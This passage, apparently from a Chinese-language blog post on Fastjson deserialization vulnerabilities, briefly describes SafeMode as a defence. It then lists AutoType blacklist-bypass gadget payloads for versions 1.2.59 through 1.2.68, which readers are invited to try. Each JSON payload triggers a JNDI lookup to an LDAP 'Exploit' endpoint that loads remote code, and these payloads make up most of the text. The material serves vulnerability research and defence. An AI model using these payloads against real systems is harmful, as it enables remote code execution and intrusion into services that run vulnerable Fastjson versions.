开启之后，就完全禁用AutoType即@type了，这样就能防御住Fastjson反序列化漏洞了。

具体的处理逻辑，是放在checkAutoType()函数中的前面，获取是否设置了SafeMode，如果是则直接抛出异常终止运行：

image-20220607161636122

 

其他一些绕过黑名单的Gadget

这里补充下其他一些Gadget，可自行尝试。注意，均需要开启AutoType，且会被JNDI注入利用所受的JDK版本限制。

1.2.59

com.zaxxer.hikari.HikariConfig类PoC：

{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}
或
{"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}

1.2.61

org.apache.commons.proxy.provider.remoting.SessionBeanProvider类PoC：

{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://localhost:1389/Exploit","Object":"a"}

1.2.62

org.apache.cocoon.components.slide.impl.JMSContentInterceptor类PoC：

{"@type":"org.apache.cocoon.components.slide.impl.JMSContentInterceptor", "parameters": {"@type":"java.util.Hashtable","java.naming.factory.initial":"com.sun.jndi.rmi.registry.RegistryContextFactory","topic-factory":"ldap://localhost:1389/Exploit"}, "namespace":""}

1.2.68

org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig类PoC：

{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}
或
{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}

com.caucho.config.types.ResourceRef类PoC：

{"@type":"com.caucho.config.types.ResourceRef","lookupName": "ldap://localhost:1389/Exploit", "value": {"$ref":"$.value"}}

未知版本

org.apache.aries.transaction.jms.RecoverablePooledConnectionFactory类PoC：

{"@type":"org.apache.aries.transaction.jms.RecoverablePooledConnectionFactory", "tmJndiName": "ldap://localhost:1389/Exploit", "tmFromJndi": true, "transactionManager": {"$ref":"$.transactionManager"}}

org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory类PoC：

{"@type":"org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory", "tmJndiName": "ldap://localhost:1389/Exploit", "tmFromJndi": true, "transactionManager": {"$ref":"$.transactionManager"}}

 

参考资料

Fastjson系列六——1.2.48-1.2.68反序列化漏洞

某json <= 1.2.68 远程代码执行漏洞分析

fastjson 1.2.68 autotype bypass 反序列化漏洞（完整版）

Fastjson1.2.6 6 远程代码执行漏洞分析复现含 4 个 Gadget 利用 Poc 构造

https://github.com/threedr3am/learnjavabug

fastjson反序列化
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